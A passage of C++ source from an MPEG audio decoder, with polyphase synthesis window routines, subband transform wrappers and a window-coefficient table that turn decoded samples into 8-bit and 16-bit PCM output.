8; j++) { sum += (*coef++) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; /*-- last 7 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 7; i++) { coef -= 16; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si += 32; sum += (*coef--) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; } } void CDecompressMpeg::windowB8(float* vbuf, int vb_ptr, unsigned char* pcm) { int i, j; int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 4; bx = (si + 8) & 127; coef = wincoef; /*-- first 4 --*/ for (i = 0; i < 4; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 16) & 127; sum -= (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } si++; bx--; coef += 48; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; /*-- last 3 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 3; i++) { coef -= 48; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 16) & 127; sum += (*coef--) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; } } /*--------------- 8 pt dual window (interleaved output) -----------------*/ void CDecompressMpeg::windowB8_dual(float* vbuf, int vb_ptr, unsigned char* pcm) { int i, j; int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 4; bx = (si + 8) & 127; coef = wincoef; /*-- first 4 --*/ for (i = 0; i < 4; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 16) & 127; sum -= (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } si++; bx--; coef += 48; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; /*-- last 3 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 3; i++) { coef -= 48; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 16) & 127; sum += (*coef--) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; } } void CDecompressMpeg::sbtB_mono(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct32(sample, vbuf + vb_ptr); windowB(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbtB_dual(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct32_dual(sample, vbuf + vb_ptr); fdct32_dual(sample + 1, vbuf2 + vb_ptr); windowB_dual(vbuf, vb_ptr, pcm); windowB_dual(vbuf2, vb_ptr, pcm + 1); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 64; } } void CDecompressMpeg::sbtB_dual_mono(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct32_dual_mono(sample, vbuf + vb_ptr); windowB(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbtB_dual_left(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct32_dual(sample, vbuf + vb_ptr); windowB(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbtB_dual_right(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; sample++; /* point to right chan */ for (i = 0; i < n; i++) { fdct32_dual(sample, vbuf + vb_ptr); windowB(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbtB16_mono(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct16(sample, vbuf + vb_ptr); windowB16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbtB16_dual(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct16_dual(sample, vbuf + vb_ptr); fdct16_dual(sample + 1, vbuf2 + vb_ptr); windowB16_dual(vbuf, vb_ptr, pcm); windowB16_dual(vbuf2, vb_ptr, pcm + 1); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 32; } } void CDecompressMpeg::sbtB16_dual_mono(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct16_dual_mono(sample, vbuf + vb_ptr); windowB16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbtB16_dual_left(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct16_dual(sample, vbuf + vb_ptr); windowB16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbtB16_dual_right(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; sample++; for (i = 0; i < n; i++) { fdct16_dual(sample, vbuf + vb_ptr); windowB16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbtB8_mono(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct8(sample, vbuf + vb_ptr); windowB8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbtB8_dual(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct8_dual(sample, vbuf + vb_ptr); fdct8_dual(sample + 1, vbuf2 + vb_ptr); windowB8_dual(vbuf, vb_ptr, pcm); windowB8_dual(vbuf2, vb_ptr, pcm + 1); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 16; } } void CDecompressMpeg::sbtB8_dual_mono(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct8_dual_mono(sample, vbuf + vb_ptr); windowB8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbtB8_dual_left(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; for (i = 0; i < n; i++) { fdct8_dual(sample, vbuf + vb_ptr); windowB8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbtB8_dual_right(float* sample, void* in_pcm, int n) { int i; unsigned char * pcm = (unsigned char *) in_pcm; sample++; for (i = 0; i < n; i++) { fdct8_dual(sample, vbuf + vb_ptr); windowB8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbtB_mono_L3(float* sample, void* in_pcm, int ch) { int i; unsigned char * pcm = (unsigned char *) in_pcm; ch = 0; for (i = 0; i < 18; i++) { fdct32(sample, vbuf + vb_ptr); windowB(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbtB_dual_L3(float* sample, void* in_pcm, int ch) { int i; unsigned char * pcm = (unsigned char *) in_pcm; if (ch == 0) for (i = 0; i < 18; i++) { fdct32(sample, vbuf + vb_ptr); windowB_dual(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 32) & 511; pcm += 64; } else for (i = 0; i < 18; i++) { fdct32(sample, vbuf2 + vb2_ptr); windowB_dual(vbuf2, vb2_ptr, pcm + 1); sample += 32; vb2_ptr = (vb2_ptr - 32) & 511; pcm += 64; } } void CDecompressMpeg::sbtB16_mono_L3(float* sample, void* in_pcm, int ch) { int i; unsigned char * pcm = (unsigned char *) in_pcm; ch = 0; for (i = 0; i < 18; i++) { fdct16(sample, vbuf + vb_ptr); windowB16(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbtB16_dual_L3(float* sample, void* in_pcm, int ch) { int i; unsigned char * pcm = (unsigned char *) in_pcm; if (ch == 0) { for (i = 0; i < 18; i++) { fdct16(sample, vbuf + vb_ptr); windowB16_dual(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 16) & 255; pcm += 32; } } else { for (i = 0; i < 18; i++) { fdct16(sample, vbuf2 + vb2_ptr); windowB16_dual(vbuf2, vb2_ptr, pcm + 1); sample += 32; vb2_ptr = (vb2_ptr - 16) & 255; pcm += 32; } } } void CDecompressMpeg::sbtB8_mono_L3(float* sample, void* in_pcm, int ch) { int i; unsigned char * pcm = (unsigned char *) in_pcm; ch = 0; for (i = 0; i < 18; i++) { fdct8(sample, vbuf + vb_ptr); windowB8(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbtB8_dual_L3(float* sample, void* in_pcm, int ch) { int i; unsigned char * pcm = (unsigned char *) in_pcm; if (ch == 0) { for (i = 0; i < 18; i++) { fdct8(sample, vbuf + vb_ptr); windowB8_dual(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 8) & 127; pcm += 16; } } else { for (i = 0; i < 18; i++) { fdct8(sample, vbuf2 + vb2_ptr); windowB8_dual(vbuf2, vb2_ptr, pcm + 1); sample += 32; vb2_ptr = (vb2_ptr - 8) & 127; pcm += 16; } } } // window coefs float CDecompressMpeg::wincoef[264] = { 0.000000000f, 0.000442505f, -0.003250122f, 0.007003784f, -0.031082151f, 0.078628540f, -0.100311279f, 0.572036743f, -1.144989014f, -0.572036743f, -0.100311279f, -0.078628540f, -0.031082151f, -0.007003784f, -0.003250122f, -0.000442505f, 0.000015259f, 0.000473022f, -0.003326416f, 0.007919312f, -0.030517576f, 0.084182739f, -0.090927124f, 0.600219727f, -1.144287109f, -0.543823242f, -0.108856201f, -0.073059082f, -0.031478882f, -0.006118774f, -0.003173828f, -0.000396729f, 0.000015259f, 0.000534058f, -0.003387451f, 0.008865356f, -0.029785154f, 0.089706421f, -0.080688477f, 0.628295898f, -1.142211914f, -0.515609741f, -0.116577141f, -0.067520142f, -0.031738281f, -0.005294800f, -0.003082275f, -0.000366211f, 0.000015259f, 0.000579834f, -0.003433228f, 0.009841919f, -0.028884888f, 0.095169067f, -0.069595337f, 0.656219482f, -1.138763428f, -0.487472534f, -0.123474121f, -0.061996460f, -0.031845093f, -0.004486084f, -0.002990723f, -0.000320435f, 0.000015259f, 0.000625610f, -0.003463745f, 0.010848999f, -0.027801514f, 0.100540161f, -0.057617184f, 0.683914185f, -1.133926392f, -0.459472656f, -0.129577637f, -0.056533810f, -0.031814575f, -0.003723145f, -0.002899170f, -0.000289917f, 0.000015259f, 0.000686646f, -0.003479004f, 0.011886597f, -0.026535034f, 0.105819702f, -0.044784546f, 0.711318970f, -1.127746582f, -0.431655884f, -0.134887695f, -0.051132202f, -0.031661987f, -0.003005981f, -0.002792358f, -0.000259399f, 0.000015259f, 0.000747681f, -0.003479004f, 0.012939452f, -0.025085449f, 0.110946655f, -0.031082151f, 0.738372803f, -1.120223999f, -0.404083252f, -0.139450073f, -0.045837402f, -0.031387329f, -0.002334595f, -0.002685547f, -0.000244141f, 0.000030518f, 0.000808716f, -0.003463745f, 0.014022826f, -0.023422241f, 0.115921021f, -0.016510010f, 0.765029907f, -1.111373901f, -0.376800537f, -0.143264771f, -0.040634155f, -0.031005858f, -0.001693726f, -0.002578735f, -0.000213623f, 0.000030518f, 0.000885010f, -0.003417969f, 0.015121460f, -0.021575928f, 0.120697014f, -0.001068115f, 0.791213989f, -1.101211548f, -0.349868774f, -0.146362305f, -0.035552979f, -0.030532837f, -0.001098633f, -0.002456665f, -0.000198364f, 0.000030518f, 0.000961304f, -0.003372192f, 0.016235352f, -0.019531250f, 0.125259399f, 0.015228271f, 0.816864014f, -1.089782715f, -0.323318481f, -0.148773193f, -0.030609131f, -0.029937742f, -0.000549316f, -0.002349854f, -0.000167847f, 0.000030518f, 0.001037598f, -0.003280640f, 0.017349243f, -0.017257690f, 0.129562378f, 0.032379150f, 0.841949463f, -1.077117920f, -0.297210693f, -0.150497437f, -0.025817871f, -0.029281614f, -0.000030518f, -0.002243042f, -0.000152588f, 0.000045776f, 0.001113892f, -0.003173828f, 0.018463135f, -0.014801024f, 0.133590698f, 0.050354004f, 0.866363525f, -1.063217163f, -0.271591187f, -0.151596069f, -0.021179199f, -0.028533936f, 0.000442505f, -0.002120972f, -0.000137329f, 0.000045776f, 0.001205444f, -0.003051758f, 0.019577026f, -0.012115479f, 0.137298584f, 0.069168091f, 0.890090942f, -1.048156738f, -0.246505737f, -0.152069092f, -0.016708374f, -0.027725220f, 0.000869751f, -0.002014160f, -0.000122070f, 0.000061035f, 0.001296997f, -0.002883911f, 0.020690918f, -0.009231566f, 0.140670776f, 0.088775635f, 0.913055420f, -1.031936646f, -0.221984863f, -0.151962280f, -0.012420653f, -0.026840210f, 0.001266479f, -0.001907349f, -0.000106812f, 0.000061035f, 0.001388550f, -0.002700806f, 0.021789551f, -0.006134033f, 0.143676758f, 0.109161377f, 0.935195923f, -1.014617920f, -0.198059082f, -0.151306152f, -0.008316040f, -0.025909424f, 0.001617432f, -0.001785278f, -0.000106812f, 0.000076294f, 0.001480103f, -0.002487183f, 0.022857666f, -0.002822876f, 0.146255493f, 0.130310059f, 0.956481934f, -0.996246338f, -0.174789429f, -0.150115967f, -0.004394531f, -0.024932859f, 0.001937866f, -0.001693726f, -0.000091553f, -0.001586914f, -0.023910521f, -0.148422241f, -0.976852417f, 0.152206421f, 0.000686646f, -0.002227783f, 0.000076294f, }; void CDecompressMpeg::window(float* vbuf, int vb_ptr, short* pcm) { int i, j; int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 16; bx = (si + 32) & 511; coef = wincoef; /*-- first 16 --*/ for (i = 0; i < 16; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 64) & 511; sum -= (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } si++; bx--; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; /*-- last 15 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 15; i++) { si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 64) & 511; sum += (*coef--) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; } } void CDecompressMpeg::window_dual(float* vbuf, int vb_ptr, short* pcm) { int i, j; /* dual window interleaves output */ int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 16; bx = (si + 32) & 511; coef = wincoef; /*-- first 16 --*/ for (i = 0; i < 16; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 64) & 511; sum -= (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } si++; bx--; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; /*-- last 15 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 15; i++) { si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 64) & 511; sum += (*coef--) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; } } void CDecompressMpeg::window16(float* vbuf, int vb_ptr, short* pcm) { int i, j; unsigned char si, bx; float* coef; float sum; long tmp; si = vb_ptr + 8; bx = si + 16; coef = wincoef; /*-- first 8 --*/ for (i = 0; i < 8; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si += 32; sum -= (*coef++) * vbuf[bx]; bx += 32; } si++; bx--; coef += 16; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; /*-- last 7 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 7; i++) { coef -= 16; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si += 32; sum += (*coef--) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; } } void CDecompressMpeg::window16_dual(float* vbuf, int vb_ptr, short* pcm) { int i, j; unsigned char si, bx; float* coef; float sum; long tmp; si = vb_ptr + 8; bx = si + 16; coef = wincoef; /*-- first 8 --*/ for (i = 0; i < 8; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si += 32; sum -= (*coef++) * vbuf[bx]; bx += 32; } si++; bx--; coef += 16; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; /*-- last 7 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 7; i++) { coef -= 16; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si += 32; sum += (*coef--) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; } } void CDecompressMpeg::window8(float* vbuf, int vb_ptr, short* pcm) { int i, j; int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 4; bx = (si + 8) & 127; coef = wincoef; /*-- first 4 --*/ for (i = 0; i < 4; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 16) & 127; sum -= (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } si++; bx--; coef += 48; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; /*-- last 3 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 3; i++) { coef -= 48; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 16) & 127; sum += (*coef--) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = (short) tmp; } } void CDecompressMpeg::window8_dual(float* vbuf, int vb_ptr, short* pcm) { int i, j; int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 4; bx = (si + 8) & 127; coef = wincoef; /*-- first 4 --*/ for (i = 0; i < 4; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 16) & 127; sum -= (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } si++; bx--; coef += 48; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; /*-- last 3 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 3; i++) { coef -= 48; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 16) & 127; sum += (*coef--) * vbuf[bx]; bx = (bx + 16) & 127; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = (short) tmp; pcm += 2; } } void CDecompressMpeg::sbt_init() { int i; /* clear window vbuf */ for (i = 0; i < 512; i++) { vbuf[i] = 0.0F; vbuf2[i] = 0.0F; } vb2_ptr = vb_ptr = 0; } void CDecompressMpeg::sbt_mono(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct32(sample, vbuf + vb_ptr); window(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbt_dual(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct32_dual(sample, vbuf + vb_ptr); fdct32_dual(sample + 1, vbuf2 + vb_ptr); window_dual(vbuf, vb_ptr, pcm); window_dual(vbuf2, vb_ptr, pcm + 1); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 64; } } void CDecompressMpeg::sbt_dual_mono(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct32_dual_mono(sample, vbuf + vb_ptr); window(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbt_dual_left(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct32_dual(sample, vbuf + vb_ptr); window(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbt_dual_right(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; sample++; /* point to right chan */ for (i = 0; i < n; i++) { fdct32_dual(sample, vbuf + vb_ptr); window(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbt16_mono(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct16(sample, vbuf + vb_ptr); window16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbt16_dual(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct16_dual(sample, vbuf + vb_ptr); fdct16_dual(sample + 1, vbuf2 + vb_ptr); window16_dual(vbuf, vb_ptr, pcm); window16_dual(vbuf2, vb_ptr, pcm + 1); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 32; } } void CDecompressMpeg::sbt16_dual_mono(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct16_dual_mono(sample, vbuf + vb_ptr); window16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbt16_dual_left(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct16_dual(sample, vbuf + vb_ptr); window16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbt16_dual_right(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; sample++; for (i = 0; i < n; i++) { fdct16_dual(sample, vbuf + vb_ptr); window16(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbt8_mono(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct8(sample, vbuf + vb_ptr); window8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbt8_dual(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct8_dual(sample, vbuf + vb_ptr); fdct8_dual(sample + 1, vbuf2 + vb_ptr); window8_dual(vbuf, vb_ptr, pcm); window8_dual(vbuf2, vb_ptr, pcm + 1); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 16; } } void CDecompressMpeg::sbt8_dual_mono(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct8_dual_mono(sample, vbuf + vb_ptr); window8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbt8_dual_left(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; for (i = 0; i < n; i++) { fdct8_dual(sample, vbuf + vb_ptr); window8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbt8_dual_right(float* sample, void* in_pcm, int n) { int i; short* pcm = (short*) in_pcm; sample++; for (i = 0; i < n; i++) { fdct8_dual(sample, vbuf + vb_ptr); window8(vbuf, vb_ptr, pcm); sample += 64; vb_ptr = (vb_ptr - 8) & 127; pcm += 8; } } void CDecompressMpeg::sbt_mono_L3(float* sample, void* in_pcm, int ch) { int i; short* pcm = (short*) in_pcm; ch = 0; for (i = 0; i < 18; i++) { fdct32(sample, vbuf + vb_ptr); window(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 32) & 511; pcm += 32; } } void CDecompressMpeg::sbt_dual_L3(float* sample, void* in_pcm, int ch) { int i; short* pcm = (short*) in_pcm; if (ch == 0) for (i = 0; i < 18; i++) { fdct32(sample, vbuf + vb_ptr); window_dual(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 32) & 511; pcm += 64; } else for (i = 0; i < 18; i++) { fdct32(sample, vbuf2 + vb2_ptr); window_dual(vbuf2, vb2_ptr, pcm + 1); sample += 32; vb2_ptr = (vb2_ptr - 32) & 511; pcm += 64; } } void CDecompressMpeg::sbt16_mono_L3(float* sample, void* in_pcm, int ch) { int i; short* pcm = (short*) in_pcm; ch = 0; for (i = 0; i < 18; i++) { fdct16(sample, vbuf + vb_ptr); window16(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 16) & 255; pcm += 16; } } void CDecompressMpeg::sbt16_dual_L3(float* sample, void* in_pcm, int ch) { int i; short* pcm = (short*) in_pcm; if (ch == 0) { for (i = 0; i < 18; i++) { fdct16(sample, vbuf + vb_ptr); window16_dual(vbuf, vb_ptr, pcm); sample += 32; vb_ptr = (vb_ptr - 16) & 255; pcm += 32; } } else { for (i = 0; i < 18; i++) { fdct16(sample, vbuf2 + vb2_ptr); window16_dual(vbuf2, vb2_ptr, pcm + 1); sample += 32; vb2_ptr = (vb2_ptr - 16) 